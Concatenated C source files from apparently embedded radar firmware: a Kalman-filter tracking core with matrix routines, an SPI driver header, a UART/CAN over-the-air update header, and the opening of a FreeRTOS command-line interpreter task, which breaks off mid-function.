uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] += A[idx_i + i * idx_k] * B[idx_k + k * idx_j];
}
}
}
}
/* Z = Z+A*B', Z: i*j, A:i*k, B':k*j */
static inline void track_inline_Z_add_MA_mul_MB_T(track_float_t *Z, track_float_t *A, track_float_t *B, int i, int j, int k)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] += A[idx_i + i * idx_k] * B[idx_j + j * idx_k];
}
}
}
}
/* Z = C+A*B, Z: i*j, A:i*k, B:k*j */
static inline void track_inline_C_add_MA_mul_MB(track_float_t *Z, track_float_t *C, track_float_t *A, track_float_t *B, int i, int j, int k)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
Z[idx_i + i * idx_j] = C[idx_i + i * idx_j];
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] += A[idx_i + i * idx_k] * B[idx_k + k * idx_j];
}
}
}
}
/* Z = C+A*B', Z: i*j, A:i*k, B':k*j */
static inline void track_inline_C_add_MA_mul_MB_T(track_float_t *Z, track_float_t *C, track_float_t *A, track_float_t *B, int i, int j, int k)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
Z[idx_i + i * idx_j] = C[idx_i + i * idx_j];
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] += A[idx_i + i * idx_k] * B[idx_j + j * idx_k];
}
}
}
}
/* Z = Z-A*B, Z: i*j, A:i*k, B:k*j */
static inline void track_inline_Z_sub_MA_mul_MB(track_float_t *Z, track_float_t *A, track_float_t *B, int i, int j, int k)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
for (idx_i = 0; idx_i < i; idx_i++) {
for (idx_j = 0; idx_j < j; idx_j++) {
for (idx_k = 0; idx_k < k; idx_k++) {
Z[idx_i + i * idx_j] -= A[idx_i + i * idx_k] * B[idx_k + k * idx_j];
}
}
}
}
#if TRK_CONF_3D
/* Z = A/B, Z: 9*4, A:9*4, B:4*4 */
static void m4x4_inv(track_float_t *M)
{
track_float_t a00, a01, a02, a03;
track_float_t a10, a11, a12, a13;
track_float_t a20, a21, a22, a23;
track_float_t a30, a31, a32, a33;
track_float_t *MINV = M;
a00 = M[0 * 4 + 0];
a01 = M[1 * 4 + 0];
a02 = M[2 * 4 + 0];
a03 = M[3 * 4 + 0];
a10 = M[0 * 4 + 1];
a11 = M[1 * 4 + 1];
a12 = M[2 * 4 + 1];
a13 = M[3 * 4 + 1];
a20 = M[0 * 4 + 2];
a21 = M[1 * 4 + 2];
a22 = M[2 * 4 + 2];
a23 = M[3 * 4 + 2];
a30 = M[0 * 4 + 3];
a31 = M[1 * 4 + 3];
a32 = M[2 * 4 + 3];
a33 = M[3 * 4 + 3];
track_float_t det = a00*a11*a22*a33 - a00*a11*a23*a32 - a00*a12*a21*a33 + a00*a12*a23*a31 + a00*a13*a21*a32 - a00*a13*a22*a31 - a01*a10*a22*a33 + a01*a10*a23*a32 + a01*a12*a20*a33 - a01*a12*a23*a30 - a01*a13*a20*a32 + a01*a13*a22*a30 + a02*a10*a21*a33 - a02*a10*a23*a31 - a02*a11*a20*a33 + a02*a11*a23*a30 + a02*a13*a20*a31 - a02*a13*a21*a30 - a03*a10*a21*a32 + a03*a10*a22*a31 + a03*a11*a20*a32 - a03*a11*a22*a30 - a03*a12*a20*a31 + a03*a12*a21*a30;
if (TRACK_FABS(det) < 0.0000001)
det = 0.0000001;
MINV[0 * 4 + 0] = (a11*a22*a33 - a11*a23*a32 - a12*a21*a33 + a12*a23*a31 + a13*a21*a32 - a13*a22*a31) / (det);
MINV[1 * 4 + 0] = -(a01*a22*a33 - a01*a23*a32 - a02*a21*a33 + a02*a23*a31 + a03*a21*a32 - a03*a22*a31) / (det);
MINV[2 * 4 + 0] = (a01*a12*a33 - a01*a13*a32 - a02*a11*a33 + a02*a13*a31 + a03*a11*a32 - a03*a12*a31) / (det);
MINV[3 * 4 + 0] = -(a01*a12*a23 - a01*a13*a22 - a02*a11*a23 + a02*a13*a21 + a03*a11*a22 - a03*a12*a21) / (det);
MINV[0 * 4 + 1] = -(a10*a22*a33 - a10*a23*a32 - a12*a20*a33 + a12*a23*a30 + a13*a20*a32 - a13*a22*a30) / (det);
MINV[1 * 4 + 1] = (a00*a22*a33 - a00*a23*a32 - a02*a20*a33 + a02*a23*a30 + a03*a20*a32 - a03*a22*a30) / (det);
MINV[2 * 4 + 1] = -(a00*a12*a33 - a00*a13*a32 - a02*a10*a33 + a02*a13*a30 + a03*a10*a32 - a03*a12*a30) / (det);
MINV[3 * 4 + 1] = (a00*a12*a23 - a00*a13*a22 - a02*a10*a23 + a02*a13*a20 + a03*a10*a22 - a03*a12*a20) / (det);
MINV[0 * 4 + 2] = (a10*a21*a33 - a10*a23*a31 - a11*a20*a33 + a11*a23*a30 + a13*a20*a31 - a13*a21*a30) / (det);
MINV[1 * 4 + 2] = -(a00*a21*a33 - a00*a23*a31 - a01*a20*a33 + a01*a23*a30 + a03*a20*a31 - a03*a21*a30) / (det);
MINV[2 * 4 + 2] = (a00*a11*a33 - a00*a13*a31 - a01*a10*a33 + a01*a13*a30 + a03*a10*a31 - a03*a11*a30) / (det);
MINV[3 * 4 + 2] = -(a00*a11*a23 - a00*a13*a21 - a01*a10*a23 + a01*a13*a20 + a03*a10*a21 - a03*a11*a20) / (det);
MINV[0 * 4 + 3] = -(a10*a21*a32 - a10*a22*a31 - a11*a20*a32 + a11*a22*a30 + a12*a20*a31 - a12*a21*a30) / (det);
MINV[1 * 4 + 3] = (a00*a21*a32 - a00*a22*a31 - a01*a20*a32 + a01*a22*a30 + a02*a20*a31 - a02*a21*a30) / (det);
MINV[2 * 4 + 3] = -(a00*a11*a32 - a00*a12*a31 - a01*a10*a32 + a01*a12*a30 + a02*a10*a31 - a02*a11*a30) / (det);
MINV[3 * 4 + 3] = (a00*a11*a22 - a00*a12*a21 - a01*a10*a22 + a01*a12*a20 + a02*a10*a21 - a02*a11*a20) / (det);
}
void track_inline_MA_9x4_div_MB_4x4(track_float_t *Z, track_float_t *A, track_float_t *B)
{
m4x4_inv(B);
track_inline_MA_mul_MB(Z, A, B, 9, 4, 4);
}
#endif
/* Z = A/B, Z: 6*3, A:6*3, B:3*3 */
void track_inline_MA_6x3_div_MB_3x3(track_float_t *Z, track_float_t *A, track_float_t *B)
{
uint8_t idx_i;
uint8_t idx_j;
uint8_t idx_k;
uint8_t idx_l;
track_float_t dat_a;
track_float_t dat_b;
track_float_t dat_c;
idx_i = 0;
idx_j = 1;
idx_k = 2;
/* 1st reorder */
dat_a = TRACK_FABS(B[0]);
dat_b = TRACK_FABS(B[1]);
dat_c = TRACK_FABS(B[2]);
if (dat_b > dat_a) {
dat_a = dat_b;
idx_i = 1;
idx_j = 0;
}
if (dat_c > dat_a) {
idx_i = 2;
idx_j = 1;
idx_k = 0;
}
B[ idx_j] /= B[idx_i];
B[ idx_k] /= B[idx_i];
B[3 + idx_j] -= B[idx_j] * B[3 + idx_i];
B[3 + idx_k] -= B[idx_k] * B[3 + idx_i];
B[6 + idx_j] -= B[idx_j] * B[6 + idx_i];
B[6 + idx_k] -= B[idx_k] * B[6 + idx_i];
/* 2nd reorder */
dat_a = TRACK_FABS(B[3 + idx_j]);
dat_b = TRACK_FABS(B[3 + idx_k]);
if (dat_b > dat_a) {
idx_l = idx_j;
idx_j = idx_k;
idx_k = idx_l;
}
B[3 + idx_k] /= B[3 + idx_j];
B[6 + idx_k] -= B[3 + idx_k] * B[6+idx_j];
/* calculation */
for (idx_l=0; idx_l<6; idx_l++) {
Z[idx_l + 6 * idx_i] = A[ idx_l] / B[ idx_i];
Z[idx_l + 6 * idx_j] = A[6 + idx_l] - Z[idx_l + 6 * idx_i]*B[3 + idx_i];
Z[idx_l + 6 * idx_k] = A[12 + idx_l] - Z[idx_l + 6 * idx_i]*B[6 + idx_i];
Z[idx_l + 6 * idx_j] /= B[3 + idx_j];
Z[idx_l + 6 * idx_k] -= B[6 + idx_j] * Z[idx_l + 6 * idx_j];
Z[idx_l + 6 * idx_k] /= B[6 + idx_k];
Z[idx_l + 6 * idx_j] -= B[3 + idx_k] * Z[idx_l + 6 * idx_k];
Z[idx_l + 6 * idx_i] -= B[ idx_k] * Z[idx_l + 6 * idx_k];
Z[idx_l + 6 * idx_i] -= B[ idx_j] * Z[idx_l + 6 * idx_j];
}
}
/* filter calculation core */
void track_run_filter_core(track_trk_pkg_t* trk_pkg, track_float_t f_time, track_trk_t *trk, track_cdi_t *cdi)
{
/* variable */
static uint8_t idx_i;
static uint8_t idx_j;
static track_float_t old_vel_x;
static track_float_t old_vel_y;
#if TRK_CONF_3D
static track_float_t old_vel_z;
#endif
static track_float_t tra_x[STATE_ELEM_NUM];
static track_float_t tra_P[STATE_ELEM_NUM * STATE_ELEM_NUM];
static track_float_t tra_H[STATE_ELEM_NUM * MEASURE_ELEM_NUM] = {0};
static track_float_t tra_Hx[MEASURE_ELEM_NUM];
static track_float_t tra_Kg[STATE_ELEM_NUM * MEASURE_ELEM_NUM];
static track_float_t mat_tmp_6x6[STATE_ELEM_NUM * STATE_ELEM_NUM];
static track_float_t mat_tmp_3x6[STATE_ELEM_NUM * MEASURE_ELEM_NUM];
/* update power and noise */
if (cdi) {
trk->flt_z.sig = cdi->raw_z.sig;
trk->flt_z.noi = cdi->raw_z.noi;
}
/* preseve vel_x vel_y */
old_vel_x = trk->x.vel_x;
old_vel_y = trk->x.vel_y;
#if TRK_CONF_3D
old_vel_z = trk->x.vel_z;
#endif
/* tra_x = A*old_x */
track_inline_MA_mul_MB(tra_x, track_A, &trk->x.rng_x, STATE_ELEM_NUM, 1, STATE_ELEM_NUM);
/* A*old_P */
track_inline_MA_mul_MB(mat_tmp_6x6, track_A, trk->P, STATE_ELEM_NUM, STATE_ELEM_NUM, STATE_ELEM_NUM);
/* set tra_P to Q.*old_s */
for (idx_i = 0; idx_i < STATE_ELEM_NUM; idx_i++) {
for (idx_j = 0; idx_j < STATE_ELEM_NUM; idx_j++) {
if (idx_i % DIM_NUM == idx_j % DIM_NUM) {
if (idx_i % DIM_NUM == 0)
tra_P[idx_i + STATE_ELEM_NUM * idx_j] = track_Q[idx_i + STATE_ELEM_NUM * idx_j] * trk->sigma_x;
else if (idx_i % DIM_NUM == 1)
tra_P[idx_i + STATE_ELEM_NUM * idx_j] = track_Q[idx_i + STATE_ELEM_NUM * idx_j] * trk->sigma_y;
#if TRK_CONF_3D
else if (idx_i % DIM_NUM == 2)
tra_P[idx_i + STATE_ELEM_NUM * idx_j] = track_Q[idx_i + STATE_ELEM_NUM * idx_j] * trk->sigma_z;
#endif
} else {
tra_P[idx_i + STATE_ELEM_NUM * idx_j] = (track_float_t)0.0;
}
}
}
/* tra_P = A*old_P*A' + Q.*old_s */
track_inline_Z_add_MA_mul_MB_T(tra_P, mat_tmp_6x6, track_A, STATE_ELEM_NUM, STATE_ELEM_NUM, STATE_ELEM_NUM);
/* tra_Hx */
track_inline_x2z((track_measu_t *)tra_Hx, (track_state_t *)tra_x);
/* tra_H */
mat_tmp_6x6[0] = (track_float_t)1.0 / tra_Hx[0]; /* 1/r */
mat_tmp_6x6[1] = mat_tmp_6x6[0] / tra_Hx[0]; /* 1/(r*r) */
mat_tmp_6x6[2] = tra_x[0] * mat_tmp_6x6[1]; /* x/(r*r) */
mat_tmp_6x6[3] = tra_x[1] * mat_tmp_6x6[1]; /* y/(r*r) */
#if TRK_CONF_3D
mat_tmp_6x6[4] = tra_x[2] * mat_tmp_6x6[1]; /* z/(r*r) */
mat_tmp_6x6[5] = mat_tmp_6x6[1] / tra_Hx[0]; /* 1/(r*r*r) */
mat_tmp_6x6[6] = (track_float_t)1.0 / (tra_x[0] * tra_x[0] + tra_x[1] * tra_x[1]); /* 1 / (rx*rx + ry*ry) */
mat_tmp_6x6[7] = TRACK_SQRT(tra_x[0] * tra_x[0] + tra_x[1] * tra_x[1]); /* sqrt(rx*rx + ry*ry) */
#endif
#if TRK_CONF_3D
/**************************************************************/
/*
tra_x[0] : rx tra_x[3] : vx
tra_x[1] : ry tra_x[4] : vy
tra_x[2] : rz tra_x[5] : vz
*/
/**************************************************************/
/* dr && d(vr)/d(vx, vy, vz) */
tra_H[0] = tra_H[13] = tra_x[0] * mat_tmp_6x6[0]; /* rx/r */
tra_H[4] = tra_H[17] = tra_x[1] * mat_tmp_6x6[0]; /* ry/r */
tra_H[8] = tra_H[21] = tra_x[2] * mat_tmp_6x6[0]; /* rz/r */
/* d(vr)/d(rx) */
tra_H[1] = tra_x[1] * (tra_x[3] * tra_x[1] - tra_x[4] * tra_x[0]) + tra_x[2] * (tra_x[3] * tra_x[2] - tra_x[5] * tra_x[0]);
tra_H[1] = tra_H[1] * mat_tmp_6x6[5];
/* d(vr)/d(ry) */
tra_H[5] = tra_x[0] * (tra_x[4] * tra_x[0] - tra_x[3] * tra_x[1]) + tra_x[2] * (tra_x[4] * tra_x[2] - tra_x[5] * tra_x[1]);
tra_H[5] = tra_H[5] * mat_tmp_6x6[5];
/* d(vr)/d(rz) */
tra_H[9] = tra_x[0] * (tra_x[5] * tra_x[0] - tra_x[3] * tra_x[2]) + tra_x[1] * (tra_x[5] * tra_x[1] - tra_x[4] * tra_x[2]);
tra_H[9] = tra_H[9] * mat_tmp_6x6[5];
/* d(ang) */
tra_H[2] = tra_x[1] * mat_tmp_6x6[6]; /* y/(x^2+y^2) */
tra_H[6] = -tra_x[0] * mat_tmp_6x6[6]; /* -x/(x^2+y^2) */
/* d(ang_elv) */
tra_H[3] = -mat_tmp_6x6[2] * tra_x[2] / mat_tmp_6x6[7]; /* -x/(r^2)*z/(sqrt(x^2+y^2)) */
tra_H[7] = -mat_tmp_6x6[3] * tra_x[2] / mat_tmp_6x6[7]; /* -y/(r^2)*z/(sqrt(x^2+y^2)) */
tra_H[11] = mat_tmp_6x6[7] * mat_tmp_6x6[1]; /* sqrt(x^2+y^2)/(r^2) */
#else
tra_H[7] = tra_H[0] = tra_x[0] * mat_tmp_6x6[0];
tra_H[1] = tra_x[2] * mat_tmp_6x6[0] - tra_Hx[1] * mat_tmp_6x6[2];
tra_H[2] = mat_tmp_6x6[3] * (track_float_t)RAD2ANG;
tra_H[10] = tra_H[3] = tra_x[1] * mat_tmp_6x6[0];
tra_H[4] = tra_x[3] * mat_tmp_6x6[0] - tra_Hx[1] * mat_tmp_6x6[3];
tra_H[5] = -mat_tmp_6x6[2] * (track_float_t)RAD2ANG;
#endif
/* tra_H*tra_P */
track_inline_MA_mul_MB(mat_tmp_6x6, tra_H, tra_P, MEASURE_ELEM_NUM, STATE_ELEM_NUM, STATE_ELEM_NUM);
/* tra_H*tra_P*tra_H'+R */
track_inline_C_add_MA_mul_MB_T(mat_tmp_3x6, track_R, mat_tmp_6x6, tra_H, MEASURE_ELEM_NUM, MEASURE_ELEM_NUM, STATE_ELEM_NUM);
trk->meas_var_inv[0] = (track_float_t)1.0 / mat_tmp_3x6[0];
trk->meas_var_inv[1] = (track_float_t)1.0 / mat_tmp_3x6[1 + MEASURE_ELEM_NUM];
trk->meas_var_inv[2] = (track_float_t)1.0 / mat_tmp_3x6[2 + 2 * MEASURE_ELEM_NUM];
#if TRK_CONF_3D
trk->meas_var_inv[3] = (track_float_t)1.0 / mat_tmp_3x6[3 + 3 * MEASURE_ELEM_NUM];
#endif
if (!cdi) { /* miss */
/* new_x & new_P */
memcpy(&trk->x.rng_x, tra_x, STATE_ELEM_NUM * sizeof(track_float_t));
memcpy(trk->P, tra_P, STATE_ELEM_NUM * STATE_ELEM_NUM * sizeof(track_float_t));
} else { /* hit */
/* tra_P*tra_H' */
track_inline_MA_mul_MB_T(mat_tmp_6x6, tra_P, tra_H, STATE_ELEM_NUM, MEASURE_ELEM_NUM, STATE_ELEM_NUM);
/* (tra_P*tra_H')/(tra_H*tra_P*tra_H'+R) */
#if TRK_CONF_3D
track_inline_MA_9x4_div_MB_4x4(tra_Kg, mat_tmp_6x6, mat_tmp_3x6);
#else
track_inline_MA_6x3_div_MB_3x3(tra_Kg, mat_tmp_6x6, mat_tmp_3x6);
#endif
/* mea_z-tra_Hx */
for (idx_i = 0; idx_i < MEASURE_ELEM_NUM; idx_i++) {
mat_tmp_6x6[idx_i] = (&cdi->raw_z.rng)[idx_i] - tra_Hx[idx_i];
}
/* set new_x to tra_x */
memcpy(&trk->x.rng_x, tra_x, STATE_ELEM_NUM * sizeof(track_float_t));
/* new_x = tra_x + tra_Kg*(mea_z-tra_Hx); */
track_inline_Z_add_MA_mul_MB(&trk->x.rng_x, tra_Kg, mat_tmp_6x6, STATE_ELEM_NUM, 1, MEASURE_ELEM_NUM);
/* set mat_tmp_6x6 to eye(6) */
memset(mat_tmp_6x6, 0, STATE_ELEM_NUM * STATE_ELEM_NUM * sizeof(track_float_t));
for (idx_i = 0; idx_i < STATE_ELEM_NUM; idx_i++)
mat_tmp_6x6[idx_i + STATE_ELEM_NUM * idx_i] = (track_float_t)1.0;
/* (eye(6)-tra_Kg*tra_H) */
track_inline_Z_sub_MA_mul_MB(mat_tmp_6x6, tra_Kg, tra_H, STATE_ELEM_NUM, STATE_ELEM_NUM, MEASURE_ELEM_NUM);
/* new_P = (eye(6)-tra_Kg*tra_H) * tra_P */
track_inline_MA_mul_MB(trk->P, mat_tmp_6x6, tra_P, STATE_ELEM_NUM, STATE_ELEM_NUM, STATE_ELEM_NUM);
} /* end of if not hit */
/* new_z */
track_inline_x2z(&trk->flt_z, &trk->x);
#if TRK_CONF_3D
if (cdi) {
mat_tmp_3x6[0] = (trk->x.vel_x - old_vel_x) / f_time;
trk->sigma_x = (trk->sigma_x + mat_tmp_3x6[0] * mat_tmp_3x6[0]) / (track_float_t)2.0;
mat_tmp_3x6[0] = (trk->x.vel_y - old_vel_y) / f_time;
trk->sigma_y = (trk->sigma_y + mat_tmp_3x6[0] * mat_tmp_3x6[0]) / (track_float_t)2.0;
mat_tmp_3x6[0] = (trk->x.vel_z - old_vel_z) / f_time;
trk->sigma_z = (trk->sigma_z + mat_tmp_3x6[0] * mat_tmp_3x6[0]) / (track_float_t)2.0;
}
#else
if(!cdi){
trk->sigma_x = trk->x.acc_x;
trk->sigma_y = trk->x.acc_y;
} else {
/* ax_mean = mean(vx_new-vx_old)/T, ax_new) */
trk->sigma_x = ( (trk->x.vel_x-old_vel_x) / f_time + trk->x.acc_x) / (track_float_t)2.0;
/* ay_mean = mean(vy_new-vy_old)/T, ay_new) */
trk->sigma_y = ( (trk->x.vel_y-old_vel_y) / f_time + trk->x.acc_y) / (track_float_t)2.0;
}
/* sigma = a^2 */
trk->sigma_x *= trk->sigma_x;
trk->sigma_y *= trk->sigma_y;
#endif
/* A*new_x */
track_inline_MA_mul_MB(mat_tmp_6x6, track_A, &trk->x.rng_x, STATE_ELEM_NUM, 1, STATE_ELEM_NUM);
/* pre_z */
track_inline_x2z(&trk->pre_z, (track_state_t *)mat_tmp_6x6);
}
<file_sep>#ifndef _SPI_HAL_H_
#define _SPI_HAL_H_
#include "dev_common.h"
typedef enum spi_communication_mode {
SPI_COM_SIMPLEX = 0,
SPI_COM_HALF_DUPLEX,
SPI_COM_DUPLEX,
SPI_COM_MODE_INVALID
} spi_com_mode_t;
typedef enum {
SPI_CLK_MODE_0 = 0,
SPI_CLK_MODE_1,
SPI_CLK_MODE_2,
SPI_CLK_MODE_3,
SPI_CLK_MODE_INVALID
} spi_clock_mode_t;
typedef enum {
SPI_FRF_STANDARD = 0,
SPI_FRF_DUAL,
SPI_FRF_QUAD,
SPI_FRF_OCTAL
} spi_frf_t;
typedef struct spi_transfer_description {
uint8_t clock_mode;
uint8_t dfs;
uint8_t cfs;
uint8_t spi_frf;
uint8_t rx_thres;
uint8_t tx_thres;
uint8_t rx_sample_delay;
} spi_xfer_desc_t;
#define SPI_XFER_DESC_COPY(dst, src) do { \
(dst)->clock_mode = (src)->clock_mode; \
(dst)->dfs = (src)->dfs; \
(dst)->cfs = (src)->cfs; \
(dst)->spi_frf = (src)->spi_frf; \
(dst)->rx_thres = (src)->rx_thres; \
(dst)->tx_thres = (src)->tx_thres; \
(dst)->rx_sample_delay = (src)->rx_sample_delay; \
} while (0)
int32_t spi_device_mode(uint32_t id);
int32_t spi_open(uint32_t id, uint32_t buad);
int32_t spi_transfer_config(uint32_t id, spi_xfer_desc_t *desc);
int32_t spi_xfer(uint32_t id, uint32_t *txdata, uint32_t *rxdata, uint32_t len);
int32_t spi_write(uint32_t id, uint32_t *data, uint32_t len);
int32_t spi_read(uint32_t id, uint32_t *data, uint32_t len);
int32_t spi_dma_write(uint32_t id, uint32_t *data, uint32_t len, void (*func)(void *));
int32_t spi_dma_read(uint32_t id, uint32_t *data, uint32_t len, void (*func)(void *));
int32_t spi_databuffer_install(uint32_t id, uint32_t rx_or_tx, DEV_BUFFER *devbuf);
int32_t spi_databuffer_uninstall(uint32_t id, uint32_t rx_or_tx);
int32_t spi_interrupt_enable(uint32_t id, uint32_t rx_or_tx, uint32_t enable);
int32_t spi_interrupt_install(uint32_t id, uint32_t rx_or_tx, void (*func)(void *));
int32_t spi_interrupt_uninstall(uint32_t id, uint32_t rx_or_tx);
int32_t spi_fifo_threshold_update(uint32_t id, uint32_t rx, uint32_t tx);
#endif
<file_sep>#ifndef _OTA_H_
#define _OTA_H_
#include "dw_uart.h"
typedef enum {
REBOOT_UART_OTA = 0,
REBOOT_CAN_OTA
} reboot_mode_t;
#ifdef SYSTEM_UART_OTA
/* command id:
******************************
* cmd_id * SN * length *
******************************/
#define UART_OTA_CMD_ECU_RESET (0x01)
#define UART_OTA_CMD_IMAGE_INFO (0x02)
#define UART_OTA_CMD_IMAGE (0x03)
#define UART_OTA_PROGRAM_IMAGE (0x04)
/* ack id:
******************************
* cmd_id * sn * result *
******************************/
#define ACK_DEVICE_ACCESS_FAILED (0x0100U)
#define ACK_COMM_PAYLOAD_LEN_UNMATCHED (0x0200U)
#define ACK_COMM_CRC32_UNMATCHED (0x0300U)
#define ACK_NOR_FLASH_READ_FAILED (0x0400U)
#define ACK_COMM_MAGIC_NUM_UNMATCHED (0x0500U)
#define ACK_SW_VERSION_ERROR (0x0600U)
#define ACK_SN_ORDER_ERROR (0x0700U)
#define ACK_NOR_FLASH_ERASE_FAILED (0x0800U)
#define ACK_NOR_FLASH_PROGRAM_FAILED (0x0900U)
#define ACK_COMM_CMD_ID_INVALID (0x0A00U)
#define ACK_NVM_CRC32_UNMATCHED (0x0B00U)
#define ACK_NVM_MAGIC_NUM_UNMATCHED (0x0C00U)
//#define ACK_NVM_RAM_CRC32_UNMATCHED (0x0C00U)
#define ACK_FUNC_PARAMS_ERROR (0x0D00U)
#define UART_OTA_ACK(cmd_id, sn, ack) ( \
(((cmd_id) & 0xFF) << 24) | \
(((sn) & 0xFF) << 16) | \
((ack) & 0xFFFF))
#define UART_OTA_FLAG_CMD_INFO (0x00000001)
#define UART_OTA_FLAG_ACK (0xAAAAAAAA)
#define UART_OTA_FLAG_DATA (0x55555555)
#define UART_OTA_COM_MAGIC_NUM (0x12345678)
#define UART_OTA_COM_HS_CODE (0xabcdef00)
#define UART_OTA_START_STR0 (0x74726175)
#define UART_OTA_START_STR1 (0x61746f5f)
#if 0
#define UART_OTA_FRAME_MAGIC_NUM(buf) (\
(((buf)[0]) << 24) | (((buf)[1]) << 16) | \
(((buf)[2]) << 8) | ((buf)[3]))
#define UART_OTA_FRAME_CRC32(buf) (\
(((buf)[0]) << 24) | (((buf)[1]) << 16) | \
(((buf)[2]) << 8) | ((buf)[3]))
#else
#define UART_OTA_FRAME_MAGIC_NUM(buf) (\
(((buf)[3]) << 24) | (((buf)[2]) << 16) | \
(((buf)[1]) << 8) | ((buf)[0]))
#define UART_OTA_FRAME_CRC32(buf) (\
(((buf)[3]) << 24) | (((buf)[2]) << 16) | \
(((buf)[1]) << 8) | ((buf)[0]))
#endif
#define UART_OTA_HS_CODE UART_OTA_FRAME_CRC32
void uart_ota_main(void);
#else
void uart_ota_main(void)
{
return;
}
#endif
#ifdef SYSTEM_CAN_OTA
void can_ota_main(void);
#else
static inline void can_ota_main(void)
{
return;
}
#endif
#endif
<file_sep>#include <stdlib.h>
#include <string.h>
#include "embARC.h"
#include "embARC_debug.h"
#include "console.h"
#include "FreeRTOS.h"
#include "FreeRTOS_CLI.h"
#include "command.h"
#include "cascade.h"
#include "baseband_cas.h"
//#define REPORT_PORT_CAN (1)
#define CLI_COMMAND_LEN_MAX (cmdMAX_INPUT_SIZE)
#define CLI_COMMAND_ECHO_CNT (8)
/* output 32 blanks to termimal.... */
#define CLI_LINE_CLEANUP_STR \
" "
#define CLI_KEY_UP(buf, index) \
(((buf)[index] == 0x1b) && ((buf)[index + 1] == 0x5b) && ((buf)[index + 2] == 0x41))
#define CLI_KEY_DOWN(buf, index) \
(((buf)[index] == 0x1b) && ((buf)[index + 1] == 0x5b) && ((buf)[index + 2] == 0x42))
#define CLI_KEY_RIGHT(buf, index) \
(((buf)[index] == 0x1b) && ((buf)[index + 1] == 0x5b) && ((buf)[index + 2] == 0x43))
#define CLI_KEY_LEFT(buf, index) \
(((buf)[index] == 0x1b) && ((buf)[index + 1] == 0x5b) && ((buf)[index + 2] == 0x44))
#define CLI_CHAR_BS (0x08) /* BACKSPACE */
#define CLI_CHAR_NL (0xA) /* \n */
#define CLI_CHAR_CR (0xD) /* \r */
#define CLI_CHAR_DEL (0x7F) /* DELET */
#define CLI_DIR_1 (0x1b)
#define CLI_DIR_2 (0x5b)
#define CLI_DIR_UP (0x41)
#define CLI_DIR_DOWN (0x42)
#define CLI_DIR_RIGHT (0x43)
#define CLI_DIR_LEFT (0x44)
struct cli_echo_control {
unsigned char cmd_order;
uint32_t len;
char *cmd_ptr;
};
static uint8_t cur_cmd_cnt = 0;
static uint8_t cur_cmd_order = 0;
struct cli_echo_control *cli_echo_ctl_ptr = NULL;
static uint32_t local_buffer_offset = 0;
static char local_buffer[cmdMAX_INPUT_SIZE];
static TaskHandle_t cli_task_handle = NULL;
static struct cli_echo_control *cli_last_cmd(void);
static struct cli_echo_control *cli_next_cmd(void);
static void cli_history_cmd_update(char *cmd_ptr, uint32_t len);
int32_t cli_insert_str(char *input_string, char *cli_dir, uint32_t cur_cursor, uint32_t total_size);
void freertos_cli_init(void)
{
void *mem_addr = NULL;
mem_addr = pvPortMalloc((sizeof(struct cli_echo_control) + CLI_COMMAND_LEN_MAX) * CLI_COMMAND_ECHO_CNT);
if (!mem_addr) {
EMBARC_PRINTF("[error]: lack of memory!!!\r\n");
} else {
int i = 0;
struct cli_echo_control *echo_ctl_ptr = NULL;
uint32_t buf_base = (((uint32_t)mem_addr) + CLI_COMMAND_ECHO_CNT * sizeof(struct cli_echo_control));
cli_echo_ctl_ptr = (struct cli_echo_control *)mem_addr;
echo_ctl_ptr = cli_echo_ctl_ptr;
for (; i < CLI_COMMAND_ECHO_CNT; i++) {
echo_ctl_ptr->cmd_order = 0xFF;
echo_ctl_ptr->len = 0;
echo_ctl_ptr->cmd_ptr = (char *)(buf_base + (i * CLI_COMMAND_LEN_MAX));
echo_ctl_ptr++;
}
}
if (pdPASS != xTaskCreate(command_interpreter_task, \
"cli_task", 256, (void *)1, (configMAX_PRIORITIES - 1), &cli_task_handle)) {
EMBARC_PRINTF("create cli task error\r\n");
}
}
void command_interpreter_task(void *parameters)
{
long cmd_result = 0;
uint32_t char_count = 0;
int32_t local_buffer_index = 0;
int32_t input_string_index = 0;
char *buf_ptr = NULL;
char input_char;
static char input_string[cmdMAX_INPUT_SIZE];
static char output_string[cmdMAX_OUTPUT_SIZE];
static struct cli_echo_control *last_cmd = NULL;
static struct cli_echo_control *next_cmd = NULL;
static int32_t cur_cursor = 0;
uint32_t cli_dir_idx = 0;
static char cli_dir[4];
/* Just to prevent compiler warnings. */
(void)parameters;
for ( ; ; ) {
/* wait a new line. */
//char_count = console_io_wait_newline();
buf_ptr = (char *)(((uint32_t)local_buffer) + local_buffer_offset);
#ifdef CHIP_CASCADE
if (cascade_spi_cmd_wait()) { // spi cmd rx
uint32_t cmd_len;
char * pcCommandString = cascade_spi_cmd_info(&cmd_len);
if (cmd_len < (cmdMAX_INPUT_SIZE - local_buffer_offset))
memcpy(buf_ptr, pcCommandString, cmd_len);
char_count = cmd_len;
} else { // uart cmd rx
char_count = console_wait_newline((uint8_t *)buf_ptr, \
cmdMAX_INPUT_SIZE - local_buffer_offset);
}
#else
char_count = console_wait_newline((uint8_t *)buf_ptr, \
cmdMAX_INPUT_SIZE - local_buffer_offset);
#endif
if (char_count > 0) {
uint32_t data_uplimit;
local_buffer_index = local_buffer_offset;
data_uplimit = char_count + local_buffer_index;
while(local_buffer_index < data_uplimit) {
input_char = local_buffer[local_buffer_index];
switch (input_char) {
case CLI_CHAR_NL:
case CLI_CHAR_CR:
if (cli_dir_idx > 0) {
cli_dir[cli_dir_idx] = '\0';
cli_insert_str(input_string, cli_dir, cur_cursor, input_string_index);
cur_cursor += cli_dir_idx;
input_string_index += cli_dir_idx;
}
EMBARC_PRINTF("\r\n");
if (input_string_index == 0) {
local_buffer_index++;
continue;
}
input_string[input_string_index++] = '\0';
